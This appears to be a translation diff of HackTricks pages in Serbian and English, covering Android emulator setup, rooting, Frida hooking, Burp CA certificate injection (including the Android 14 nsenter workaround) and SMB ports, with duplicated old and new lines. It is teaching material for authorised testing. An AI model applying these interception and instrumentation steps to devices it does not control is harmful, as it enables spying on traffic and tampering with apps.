Međutim, postoji **mnogo različitih korisnih opcija iz komandne linije** koje možete koristiti za pokretanje virtuelne mašine. Ispod možete pronaći neke interesantne opcije, ali možete [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
Međutim, postoji **mnogo različitih korisnih opcija komandne linije** koje možete koristiti za pokretanje virtuelne mašine. Ispod možete pronaći neke interesantne opcije, ali možete [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**Boot**
- `-snapshot name` : Pokreni snapshot VM-a
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Prikaži sve zabeležene snapshotove
- `-snapshot name` : Pokreni VM snapshot
- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Prikaži sve snapshots koji su zabeleženi
**Network**
- `-dns-server 192.0.2.0, 192.0.2.255` : Dozvoljava navođenje DNS servera, odvojenih zarezom, za VM.
- **`-http-proxy 192.168.1.12:8080`** : Dozvoljava navođenje HTTP proxy-ja za korišćenje (veoma korisno za presretanje saobraćaja koristeći Burp)
- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid".
- `-dns-server 192.0.2.0, 192.0.2.255` : Omogućava navođenje DNS servera odvojenih zarezima za VM.
- **`-http-proxy 192.168.1.12:8080`** : Omogućava navođenje HTTP proxy-ja za korišćenje (veoma korisno za presretanje saobraćaja koristeći Burp)
- Ako podešavanja proxy-ja iz nekog razloga ne rade, pokušajte da ih konfigurišete interno ili pomoću aplikacije kao što su "Super Proxy" ili "ProxyDroid".
- `-netdelay 200` : Podesi emulaciju latencije mreže u milisekundama.
- `-port 5556` : Podesi TCP port koji se koristi za konzolu i adb.
- `-ports 5556,5559` : Podesi TCP portove koji se koriste za konzolu i adb.
- **`-tcpdump /path/dumpfile.cap`** : Zabeleži sav saobraćaj u fajl
- **`-tcpdump /path/dumpfile.cap`** : Snimite sav saobraćaj u fajl
**System**
- `-selinux {disabled|permissive}` : Podesite Security-Enhanced Linux (SELinux) sigurnosni modul u režim disabled ili permissive na Linux operativnom sistemu.
- `-selinux {disabled|permissive}` : Podesi Security-Enhanced Linux (SELinux) modul bezbednosti u disabled ili permissive režim na Linux operativnom sistemu.
- `-timezone Europe/Paris` : Podesi vremensku zonu za virtuelni uređaj
- `-screen {touch(default)|multi-touch|o-touch}` : Podesite emulirani režim touchscreen-a.
- **`-writable-system`** : Koristite ovu opciju da biste imali zapisivu sistemsku sliku tokom sesije emulacije. Takođe ćete morati da pokrenete `adb root; adb remount`. Ovo je veoma korisno za instaliranje novog sertifikata u sistem.
- `-screen {touch(default)|multi-touch|o-touch}` : Podesi emulirani režim touch ekrana.
- **`-writable-system`** : Koristite ovu opciju da biste imali sistemsku sliku koja se može pisati tokom vaše emulacione sesije. Takođe ćete morati da pokrenete `adb root; adb remount`. Ovo je veoma korisno za instaliranje novog sertifikata u sistem.
## Podešavanje Linux CLI (SDK/AVD quickstart)
## Linux CLI setup (SDK/AVD quickstart)
Službeni CLI alati olakšavaju kreiranje brzih emulatora koje je lako debug-ovati, bez Android Studio.
Zvanični CLI alati olakšavaju kreiranje brzih emulatora pogodnih za debug bez Android Studio.
```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest
@ -217,9 +216,9 @@ adb root
adb shell whoami # expect: root
```
Beleške
- System image flavors: google_apis (debuggable, omogućava adb root), google_apis_playstore (not rootable), aosp/default (lightweight).
- Build types: `userdebug` često omogućava `adb root` na debug-capable images. Play Store images su produkcijske verzije i blokiraju root.
- Na x86_64 hostovima, full-system ARM64 emulation nije podržana od API 28+. Za Android 11+ koristite Google APIs/Play images koje uključuju per-app ARM-to-x86 translation da biste brzo pokretali mnoge ARM-only apps.
- Varijante sistemskih slika: google_apis (debuggable, omogućava adb root), google_apis_playstore (not rootable), aosp/default (lightweight).
- Tipovi buildova: userdebug često omogućava `adb root` na image-ima koji podržavaju debug. Play Store image-i su produkcijske verzije i blokiraju root.
- Na x86_64 host-ovima, full-system ARM64 emulacija nije podržana od API 28+. Za Android 11+ koristite Google APIs/Play image-e koji uključuju per-app ARM-to-x86 translaciju da biste brzo pokretali mnoge ARM-only aplikacije.
### Snimci iz CLI
```bash
@ -229,31 +228,31 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
# Boot from a named snapshot (if it exists)
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
## ARM→x86 binarna translacija (Android 11+)
## ARM→x86 prevođenje binarnih fajlova (Android 11+)
Google APIs i Play Store images na Android 11+ mogu da prevode ARM app binarne po procesu dok ostatak sistema ostaje native x86/x86_64. Ovo je često dovoljno brzo za testiranje mnogih ARM-only apps na desktopu.
Google APIs i Play Store images na Android 11+ mogu da prevode ARM binarne fajlove aplikacija po procesu, dok ostatak sistema ostaje nativan x86/x86_64. Ovo je često dovoljno brzo da testirate mnoge aplikacije koje rade samo na ARM-u na desktopu.
> Savet: Preferirajte Google APIs x86/x86_64 images during pentests. Play images su zgodne ali blokiraju `adb root`; koristite ih samo kada vam izričito trebaju Play services i prihvatate nedostatak roota.
> Savet: Preferirajte Google APIs x86/x86_64 images during pentests. Play images su zgodne, ali blokiraju `adb root`; koristite ih samo kada vam specifično trebaju Play services i prihvatate nedostatak root.
## Rootovanje Play Store uređaja
## Rooting Play Store uređaja
Ako ste preuzeli uređaj sa Play Store, nećete moći direktno da dobijete root, i dobićete ovu poruku greške
Ako ste preuzeli uređaj sa Play Store, nećete moći direktno da dobijete root i dobićete ovu poruku o grešci
```
$ adb root
adbd cannot run as root in production builds
```
Korišćenjem [rootAVD](https://github.com/newbit1/rootAVD) sa [Magisk](https://github.com/topjohnwu/Magisk) uspeo sam da ga root-ujem (pogledaj, na primer, [**ovaj video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ili** [**ovaj**](https://www.youtube.com/watch?v=qQicUW0svB8)).
Korišćenjem [rootAVD](https://github.com/newbit1/rootAVD) sa [Magisk](https://github.com/topjohnwu/Magisk) uspeo sam da ga root-ujem (pogledajte, na primer, [**ovaj video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ili** [**ovaj**](https://www.youtube.com/watch?v=qQicUW0svB8)).
## Instalacija Burp sertifikata
Proveri sledeću stranicu da saznaš kako instalirati prilagođeni CA sertifikat:
Pogledajte sledeću stranicu da biste saznali kako instalirati custom CA cert:
{{#ref}}
install-burp-certificate.md
{{#endref}}
## Korisne opcije AVD-a
## Korisne AVD opcije
### Napravi snapshot

58
src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
View File

@ -10,22 +10,22 @@ Instalirajte **frida tools**:
pip install frida-tools
pip install frida
```
**Preuzmite i instalirajte** na Androidu **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
Jednolinijska naredba za restart adb-a u root režimu, povezivanje na uređaj, upload frida-server, dodeljivanje exec dozvola i pokretanje u pozadini:
**Preuzmite i instalirajte** na android **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
Jednolinijska komanda za restartovanje adb-a u root režimu, povezivanje na uređaj, otpremanje frida-server-a, dodeljivanje izvršnih dozvola i pokretanje u pozadini:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
**Proverite** da li **radi**:
**Proveri** da li **radi**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
## Frida server vs. Gadget (root vs. no-root)
Dva uobičajena načina za instrumentovanje Android aplikacija pomoću Frida:
Dva uobičajena načina za instrumentaciju Android aplikacija pomoću Frida:
- Frida server (rooted devices): Prebacite i pokrenite native daemon koji vam omogućava da se povežete sa bilo kojim procesom.
- Frida Gadget (no root): Ugradite Frida kao shared library unutar APK-a i automatski je učitajte u ciljnom procesu.
- Frida server (rooted devices): Prenesite i pokrenite nativni daemon koji vam omogućava da se priključite bilo kojem procesu.
- Frida Gadget (no root): Uključite Frida kao shared library unutar APK-a i automatski je učitajte u ciljni proces.
Frida server (rooted)
```bash
@ -42,21 +42,21 @@ frida -U -n com.example.app
```
Frida Gadget (no-root)
1) Raspakujte APK, dodajte gadget .so i konfiguraciju:
- Postavite libfrida-gadget.so u lib/<abi>/ (npr. lib/arm64-v8a/)
- Kreirajte assets/frida-gadget.config sa podešavanjima za učitavanje skripte
1) Raspakuj APK, dodaj gadget .so i konfiguraciju:
- Stavi libfrida-gadget.so u lib/<abi>/ (npr. lib/arm64-v8a/)
- Kreiraj assets/frida-gadget.config sa podešavanjima za učitavanje tvojih skripti
Primer frida-gadget.config
Example frida-gadget.config
```json
{
"interaction": { "type": "script", "path": "/sdcard/ssl-bypass.js" },
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
2) Referencirajte/učitajte gadget tako da bude inicijalizovan rano:
- Najlakše: Dodajte mali Java stub koji poziva System.loadLibrary("frida-gadget") u Application.onCreate(), ili koristite native lib loading koji je već prisutan.
2) Referencirajte/učitajte gadget tako da se inicijalizuje rano:
- Najlakše: Dodajte mali Java stub koji poziva System.loadLibrary("frida-gadget") u Application.onCreate(), ili iskoristite već prisutno učitavanje native biblioteke.
3) Ponovo upakujte i potpišite APK, zatim instalirajte:
3) Prepakujte i potpišite APK, zatim instalirajte:
```bash
apktool d app.apk -o app_m
# ... add gadget .so and config ...
@ -64,16 +64,16 @@ apktool b app_m -o app_gadget.apk
uber-apk-signer -a app_gadget.apk -o out_signed
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
```
4) Attach sa hosta na gadget process:
4) Priključite se sa hosta na gadget process:
```bash
frida-ps -Uai
frida -U -n com.example.app
```
Napomene
- Gadget je detektovan od strane nekih zaštita; držite imena/putanje prikrivenim i učitavajte kasno/uslovno po potrebi.
- Kod ojačanih aplikacija, preferirajte testiranje na rootovanom uređaju sa serverom + kasnim attach-ovanjem, ili kombinujte sa sakrivanjem pomoću Magisk/Zygisk.
- Gadget je detektovan od strane nekih zaštita; držite nazive/putanje prikrivenim i učitavajte kasno/uslovno ako je potrebno.
- Na ojačanim aplikacijama, preferirajte testiranje sa root pristupom koristeći server + late attach, ili kombinujte sa Magisk/Zygisk hiding.
## Vodiči
## Tutorijali
### [Tutorial 1](frida-tutorial-1.md)
@ -86,7 +86,7 @@ Napomene
### [Tutorial 2](frida-tutorial-2.md)
**Izvor**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs i Izvorni kod**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**APKs i izvorni kod**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Pratite[ link to read it.](frida-tutorial-2.md)**
@ -97,7 +97,7 @@ Napomene
**Pratite [link to read it](owaspuncrackable-1.md).**
**Vi možete pronaći više Awesome Frida skripti ovde:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**Možete pronaći više Awesome Frida skripti ovde:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Brzi primeri
@ -170,7 +170,7 @@ var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
```
### Hooking funkcija sa parametrima i dohvatanje vrednosti
Hooking a decryption function. Ispisati input, pozvati originalnu funkciju za decryption inputa i na kraju ispisati nešifrovane podatke:
Hooking decryption funkcije. Ispiši ulaz, pozovi originalnu funkciju koja decrypt-uje ulaz i na kraju ispiši plain data:
```javascript
function getString(data) {
var ret = ""
@ -195,9 +195,9 @@ send("Decrypted flag: " + flag)
return ret //[B
}
```
### Hooking funkcija i pozivanje istih sa našim ulazom
### Hooking funkcija i pozivanje istih sa našim inputom
Hook funkciju koja prima string i pozovi je drugim stringom (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
Hook funkciju koja prima string i pozovite je sa drugim stringom (iz [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
@ -210,11 +210,11 @@ console.log("Return value: " + ret)
return ret
}
```
### Dobijanje već kreiranog objekta klase
### Dobavljanje već kreiranog objekta klase
Ako želite da izdvojite neki atribut iz već kreiranog objekta, možete koristiti ovo.
Ako želite da izdvojite neki atribut već kreiranog objekta, možete koristiti ovo.
U ovom primeru ćete videti kako da dobijete objekat klase my_activity i kako da pozovete funkciju .secret() koja će ispisati privatni atribut objekta:
U ovom primeru ćete videti kako da dobijete objekat klase my_activity i kako da pozovete funkciju .secret() koja će štampati privatni atribut objekta:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity", {
onMatch: function (instance) {
@ -228,13 +228,13 @@ onComplete: function () {},
## Ostali Frida tutorijali
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
- [Deo 1 serijala blogova Advanced Frida Usage: iOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
## Reference
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Frida Gadget documentation](https://frida.re/docs/gadget/)
- [Frida releases (server binaries)](https://github.com/frida/frida/releases)
- [Kako napraviti ponovljivi Android Bug Bounty lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
- [Dokumentacija Frida Gadget](https://frida.re/docs/gadget/)
- [Frida izdanja (server binaries)](https://github.com/frida/frida/releases)
{{#include ../../../banners/hacktricks-training.md}}

58
src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
View File

@ -1,11 +1,11 @@
# Instalirajte Burp sertifikat
# Instalacija Burp sertifikata
{{#include ../../banners/hacktricks-training.md}}
## Sistemski proxy preko ADB
## Sistemski proxy putem ADB
Konfigurišite globalni HTTP proxy tako da sav saobraćaj aplikacija prolazi kroz vaš interceptor (Burp/mitmproxy):
Konfigurišite globalni HTTP proxy tako da sve aplikacije usmeravaju saobraćaj kroz vaš interceptor (Burp/mitmproxy):
```bash
# Set proxy (device/emulator must reach your host IP)
adb shell settings put global http_proxy 192.168.1.2:8080
@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080
# Clear proxy
adb shell settings put global http_proxy :0
```
Savet: U Burp-u povežite listener na 0.0.0.0 tako da uređaji na LAN-u mogu da se povežu (Proxy -> Options -> Proxy Listeners).
Napomena: U Burp-u vežite vaš listener na 0.0.0.0 tako da se uređaji na LAN mogu povezati (Proxy -> Options -> Proxy Listeners).
## Na virtuelnoj mašini
## Na virtualnoj mašini
Prvo morate da preuzmete Der sertifikat iz Burp-a. To možete uraditi u _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
Prvo treba da preuzmete Der sertifikat iz Burp-a. To možete uraditi u _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
![](<../../images/image (367).png>)
**Export the certificate in Der format** i hajde da ga **transformišemo** u format koji će **Android** moći da **razume.** Imajte na umu da **da biste konfigurisali burp certificate na Android mašini u AVD-u** morate **pokrenuti** tu mašinu **sa** opcijom **`-writable-system`**.\
**Izvezite sertifikat u Der formatu** i pretvorimo ga u oblik koji će **Android** moći da **razume.** Imajte na umu da, **da biste konfigurisali Burp sertifikat na Android mašini u AVD**, morate **pokrenuti** ovu mašinu **sa** opcijom **`-writable-system`**.\
Na primer, možete je pokrenuti ovako:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
Zatim, da biste **konfigurisali burp sertifikat**, uradite:
Zatim, da **konfigurišete burp sertifikat, uradite**:
```bash
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
adb reboot #Now, reboot the machine
```
Once the **machine finish rebooting** the Burp certificate will be in use by it!
Once the **machine finish rebooting** the burp certificate will be in use by it!
## Korišćenje Magisc
## Using Magisc
If you **rooted your device with Magisc** (maybe an emulator), and you **can't follow** the previous **steps** to install the Burp cert because the **filesystem is read-only** and you cannot remount it writable, there is another way.
Explained in [**ovaj video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to:
Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to:
1. **Install a CA certificate**: Just **drag&drop** the DER Burp certificate **changing the extension** to `.crt` in the mobile so it's stored in the Downloads folder and go to `Install a certificate` -> `CA certificate`
1. **Instalirajte CA sertifikat**: Samo **drag&drop** DER Burp sertifikat menjajući ekstenziju u `.crt` na mobilnom uređaju tako da bude sačuvan u Downloads folderu i idite na `Install a certificate` -> `CA certificate`
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
- Check that the certificate was correctly stored going to `Trusted credentials` -> `USER`
- Proverite da li je sertifikat ispravno sačuvan odlaskom na `Trusted credentials` -> `USER`
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Neka bude sistemski poveren**: Download the Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (a .zip file), **drag&drop it** in the phone, go to the **Magics app** in the phone to the **`Modules`** section, click on **`Install from storage`**, select the `.zip` module and once installed **reboot** the phone:
2. **Učinite ga sistemski poverljivim**: Preuzmite Magisc modul [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (fajl .zip), **drag&drop** ga na telefon, otvorite **Magics app** na telefonu u sekciju **`Modules`**, kliknite na **`Install from storage`**, izaberite `.zip` modul i nakon instalacije **reboot-ujte** telefon:
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
- After rebooting, go to `Trusted credentials` -> `SYSTEM` and check the Postswigger cert is there
- Nakon reboot-a, idite na `Trusted credentials` -> `SYSTEM` i proverite da li je Postswigger cert tamo
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
### Naučite kako da kreirate Magisc modul
### Learn how to create a Magisc module
Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
Pogledajte [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
## Posle Android 14
## Post Android 14
In the latest Android 14 release, a significant shift has been observed in the handling of system-trusted Certificate Authority (CA) certificates. Previously, these certificates were housed in **`/system/etc/security/cacerts/`**, accessible and modifiable by users with root privileges, which allowed immediate application across the system. However, with Android 14, the storage location has been moved to **`/apex/com.android.conscrypt/cacerts`**, a directory within the **`/apex`** path, which is immutable by nature.
U najnovijem izdanju Android 14 primećena je značajna promena u načinu rukovanja sistemski poverenim Certificate Authority (CA) sertifikatima. Ranije su ti sertifikati bili smešteni u **`/system/etc/security/cacerts/`**, dostupni i izmenljivi korisnicima sa root privilegijama, što je omogućavalo njihovu momentalnu primenu u sistemu. Međutim, sa Android 14 lokacija skladišta je premištena na **`/apex/com.android.conscrypt/cacerts`**, direktorijum unutar **`/apex`** putanje, koji je po prirodi neizmenljiv.
Attempts to remount the **APEX cacerts path** as writable are met with failure, as the system does not allow such operations. Even attempts to unmount or overlay the directory with a temporary file system (tmpfs) do not circumvent the immutability; applications continue to access the original certificate data regardless of changes at the file system level. This resilience is due to the **`/apex`** mount being configured with PRIVATE propagation, ensuring that any modifications within the **`/apex`** directory do not affect other processes.
Pokušaji da se remount-uje **APEX cacerts path** kao writable nailaze na neuspeh, jer sistem ne dozvoljava takve operacije. Čak ni pokušaji da se direktorijum unmount-uje ili prekriva privremenim fajl sistemom (tmpfs) ne zaobilaze neizmenljivost; aplikacije nastavljaju da pristupaju originalnim podacima sertifikata bez obzira na promene na nivou fajl sistema. Ova otpornost je posledica toga što je mount za **`/apex`** konfigurisana sa PRIVATE propagation, što osigurava da bilo kakve izmene unutar **`/apex`** direktorijuma ne utiču na druge procese.
The initialization of Android involves the `init` process, which, upon starting the operating system, also initiates the Zygote process. This process is responsible for launching application processes with a new mount namespace that includes a private **`/apex`** mount, thus isolating changes to this directory from other processes.
Inicijalizacija Android-a uključuje `init` proces koji, pri pokretanju operativnog sistema, takođe pokreće Zygote proces. Ovaj proces je odgovoran za pokretanje procesâ aplikacija sa novim mount namespace-om koji uključuje privatni **`/apex`** mount, čime se izoluje promene u ovom direktorijumu od ostalih procesa.
Nevertheless, a workaround exists for those needing to modify the system-trusted CA certificates within the **`/apex`** directory. This involves manually remounting **`/apex`** to remove the PRIVATE propagation, thereby making it writable. The process includes copying the contents of **`/apex/com.android.conscrypt`** to another location, unmounting the **`/apex/com.android.conscrypt`** directory to eliminate the read-only constraint, and then restoring the contents to their original location within **`/apex`**. This approach requires swift action to avoid system crashes. To ensure system-wide application of these changes, it is recommended to restart the `system_server`, which effectively restarts all applications and brings the system to a consistent state.
Ipak, postoji zaobilazno rešenje za one koji treba da modifikuju sistemski poverene CA sertifikate unutar **`/apex`** direktorijuma. To podrazumeva manuelno remount-ovanje **`/apex`** kako bi se uklonila PRIVATE propagation, čime postaje writable. Proces uključuje kopiranje sadržaja **`/apex/com.android.conscrypt`** na drugo mesto, unmount-ovanje **`/apex/com.android.conscrypt`** direktorijuma da bi se uklonio read-only ograničenje, a zatim vraćanje sadržaja na originalnu lokaciju unutar **`/apex`**. Ovaj pristup zahteva brzu akciju kako bi se izbegli padovi sistema. Da bi se osiguralo da promene važe system-wide, preporučuje se restartovanje `system_server`, što efektivno restartuje sve aplikacije i dovodi sistem u konzistentno stanje.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -131,26 +131,26 @@ wait # Launched in parallel - wait for completion here
echo "System certificate injected"
```
### Bind-mounting pomoću NSEnter
### Bind-mounting through NSEnter
1. **Podešavanje direktorijuma sa mogućnošću pisanja**: U početku se uspostavlja direktorijum u koji je moguće pisati tako što se `tmpfs` montira preko postojećeg non-APEX direktorijuma sistemskih sertifikata. To se postiže sledećom komandom:
1. **Setting Up a Writable Directory**: Inicialno se uspostavlja direktorijum za pisanje montiranjem `tmpfs` preko postojećeg non-APEX system certificate directory. Ovo se postiže sledećom komandom:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Priprema CA sertifikata**: Nakon podešavanja direktorijuma za pisanje, CA sertifikati koje želite da koristite treba da budu kopirani u taj direktorijum. Ovo može uključivati kopiranje podrazumevanih sertifikata iz `/apex/com.android.conscrypt/cacerts/`. Neophodno je prilagoditi dozvole i SELinux oznake ovih sertifikata u skladu s tim.
3. **Bind mount za Zygote**: Koristeći `nsenter`, ulazi se u mount namespace Zygote-a. Zygote, proces koji je odgovoran za pokretanje Android aplikacija, zahteva ovaj korak kako bi se osiguralo da sve aplikacije pokrenute ubuduće koriste novo konfigurisane CA sertifikate. Komanda koja se koristi je:
2. **Priprema CA sertifikata**: Nakon kreiranja writable direktorijuma, CA sertifikati koje nameravate da koristite treba da se kopiraju u taj direktorijum. Ovo može uključivati kopiranje podrazumevanih sertifikata iz `/apex/com.android.conscrypt/cacerts/`. Važno je odgovarajuće podesiti dozvole i SELinux oznake ovih sertifikata.
3. **Bind Mounting za Zygote**: Korišćenjem `nsenter` ulazi se u mount namespace Zygote-a. Zygote, proces koji je odgovoran za pokretanje Android aplikacija, zahteva ovaj korak kako bi se osiguralo da sve aplikacije pokrenute ubuduće koriste novo konfigurisane CA sertifikate. Korišćena komanda je:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Ovo obezbeđuje da će svaka nova aplikacija koja se pokrene poštovati ažuriranu konfiguraciju CA sertifikata.
4. **Primena izmena na već pokrenute aplikacije**: Da biste primenili izmene na aplikacije koje su već pokrenute, ponovo se koristi `nsenter` da se uđe u namespace svake aplikacije pojedinačno i izvrši sličan bind mount. Potrebna komanda je:
4. **Primena promena na već pokrenute aplikacije**: Da biste primenili promene na već pokrenute aplikacije, `nsenter` se ponovo koristi da se uđe u namespace svake aplikacije pojedinačno i izvrši sličan bind mount. Potrebna komanda je:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternativni pristup - Soft Reboot**: Alternativna metoda uključuje izvršavanje bind mount na `init` procesu (PID 1), nakon čega sledi soft reboot operativnog sistema pomoću komandi `stop && start`. Ovaj pristup bi propagirao promene kroz sve namespaces, izbegavajući potrebu da se pojedinačno adresira svaka pokrenuta app. Međutim, ova metoda je generalno manje poželjna zbog neprijatnosti restartovanja.
5. **Alternative Approach - Soft Reboot**: Alternativna metoda obuhvata izvršavanje bind mount-a na procesu `init` (PID 1), nakon čega sledi soft reboot operativnog sistema pomoću komandi `stop && start`. Ovaj pristup propagira promene kroz sve namespaces, izbegavajući potrebu da se pojedinačno obrađuje svaka pokrenuta aplikacija. Međutim, ova metoda se generalno manje preferira zbog nepraktičnosti restartovanja.
## Izvori
## Reference
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)

144
src/network-services-pentesting/pentesting-smb/README.md
View File

@ -4,43 +4,43 @@
## **Port 139**
The _**Mrežni osnovni ulazno/izlazni sistem**_** (NetBIOS)** je softverski protokol dizajniran da omogući aplikacijama, računarima i desktop računarima unutar lokalne mreže (LAN) da komuniciraju sa mrežnim hardverom i **olakšaju prenos podataka preko mreže**. Identifikacija i lociranje softverskih aplikacija koje rade na NetBIOS mreži ostvaruje se pomoću njihovih NetBIOS imena, koja mogu imati do 16 karaktera i često se razlikuju od imena računara. NetBIOS sesija između dve aplikacije pokreće se kada jedna aplikacija (koja deluje kao klijent) izda komandu da "pozove" drugu aplikaciju (koja deluje kao server) koristeći **TCP Port 139**.
The _**Mrežni osnovni ulazno-izlazni sistem**_** (NetBIOS)** je softverski protokol dizajniran da omogući aplikacijama, računarima i desktop računarima unutar lokalne mreže (LAN) da komuniciraju sa mrežnim hardverom i **olakšaju prenos podataka preko mreže**. Identifikacija i lociranje softverskih aplikacija koje rade na NetBIOS mreži postiže se pomoću njihovih NetBIOS imena, koja mogu imati do 16 karaktera i često se razlikuju od naziva računara. NetBIOS sesija između dve aplikacije se pokreće kada jedna aplikacija (koja deluje kao klijent) pošalje naredbu da "pozove" drugu aplikaciju (koja deluje kao server) koristeći **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Tehnički, Port 139 se naziva ‘NBT over IP’, dok je Port 445 identifikovan kao ‘SMB over IP’. Akronim **SMB** označava ‘**Server Message Blocks**’, koji je modernije poznat kao **Common Internet File System (CIFS)**. Kao mrežni protokol na aplikacionom nivou, SMB/CIFS se primarno koristi za omogućavanje deljenog pristupa fajlovima, štampačima, serijskim portovima i za olakšavanje različitih oblika komunikacije između čvorova na mreži.
Tehnički, Port 139 se naziva ‘NBT over IP’, dok je Port 445 identifikovan kao ‘SMB over IP’. Akronim **SMB** predstavlja ‘**Server Message Blocks**’, koji je takođe u novije vreme poznat kao **Common Internet File System (CIFS)**. Kao protokol na aplikativnom sloju mreže, SMB/CIFS se prvenstveno koristi za omogućavanje zajedničkog pristupa fajlovima, štampačima, serijskim portovima i za olakšavanje različitih oblika komunikacije između čvorova na mreži.
Na primer, u kontekstu Windows-a, ističe se da SMB može raditi direktno preko TCP/IP, eliminišući potrebu za NetBIOS over TCP/IP, korišćenjem porta 445. Suprotno tome, na drugim sistemima se koristi port 139, što ukazuje da se SMB izvršava zajedno sa NetBIOS over TCP/IP.
Na primer, u kontekstu Windowsa, ističe se da SMB može raditi direktno preko TCP/IP, čime se eliminiše potreba za NetBIOS over TCP/IP, korišćenjem porta 445. Suprotno tome, na drugim sistemima se može koristiti port 139, što ukazuje da se SMB izvršava zajedno sa NetBIOS over TCP/IP.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB.
